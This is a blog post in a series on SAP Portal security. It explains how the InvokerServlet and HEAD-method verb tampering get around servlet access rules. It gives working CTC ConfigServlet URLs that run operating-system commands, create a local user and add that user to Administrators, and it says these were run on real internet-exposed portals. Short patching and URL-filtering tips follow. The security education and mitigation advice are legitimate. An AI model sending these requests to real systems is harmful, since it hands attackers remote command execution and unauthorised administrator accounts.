SAP Portal Security, lesson 2: Hacking Servlets

In my previous post we discussed portal architecture, features and mostly Knowledge Management (KM) vulnerabilities. In this post we will discuss main security mechanism embedded in the SAP Portal applications, and how we can override some of them.

*  I assume that you are familiar with basic HTTP mechanisms, POST / GET / HEAD methods, and you know that SAP Portal runs J2EE engine.

* All commands below were executed on actual SAP portal installations, which are exposed to WWW and have not been secured properly.

XML Descriptors and Invoker Servlet

Access to servlet applications deployed on SAP Portal engine are controlled by XML descriptor files. Many of those SAP standard applications have serious security breaches. Here is an example of such a descriptor file:

<?xml version="1.0" encoding="UTF-8 ?> <web-app> <display-name>HelloWorld Application</display-name> <description> This is a simple web application for Ivan's blog </description> <servlet> <servlet-name>HelloServlet</servlet-name> <servlet-class>examples.Hello</servlet-class> </servlet> <servlet-mapping> <servlet-name>HelloServlet</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping> <security-constraint> <web-resource-collection> <web-resource-name>Restrictedaccess</web-resource-name> <url-pattern>/hello/*</url-pattern> <http-method>GET</http-method> </web-resource-collection> <auth-constraint> <role-name>Administrator</role-name> </auth-constraint> </security-constraint> </web-app>

As you can see, the servlet above is defined for access by /hello/... URL pattern, and GET requests will be accepted from user with Administrator role assigned. In order to override these settings hackers can use InvokerServlet, which  is enabled in SAP portals by default. This servlet allows accessing other servlet methods by using structured URLs, without passing the authorization check.

The servlet above could be accessed by http://{server:port}/servlet/examples.Hello by all users, as URL pattern is not matching the rule defined in XML descriptor. 

Let's take a deeper look.

Verb Tampering

The most critical of all servlets is called CTC, which allows execution of OS commands and creation of local users. Imagine that hackers could create an administrative user in your portal, with a simple command called from their browser. 

Here is an example of such a command, executed from your browser:
/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig

Now, as I told before, CTC servlet could be used to manage users. The command below will create a user in local UME:

/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME={enter your user},PASSWORD={enter your password}

Hey, there is even a success message:

After creating the user, we need to add administrative permissions. Guess what, there is a command for that as well:

/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME={enter your user},GROUPNAME=Administrators

There you go, now you have an administrator account in the system.

As you see from screenshots above, we used a simple GET method to execute those commands. For cases where GET / POST methods are secured, we can use HEAD methods, which don't match the XML descriptor file. 

Tips to keep it secure

1. Make sure your system is up to date. 

2. Block direct servlet execution (for example, by SAP WebDispatcher URL filtering)

3. Install notes 1467771, 1445998, 1503579,1616259 (if relevant)

Next post will cover user secure storage and encryption, cross-site scripting (XSS) and security zone attacks.

Stay tuned :-)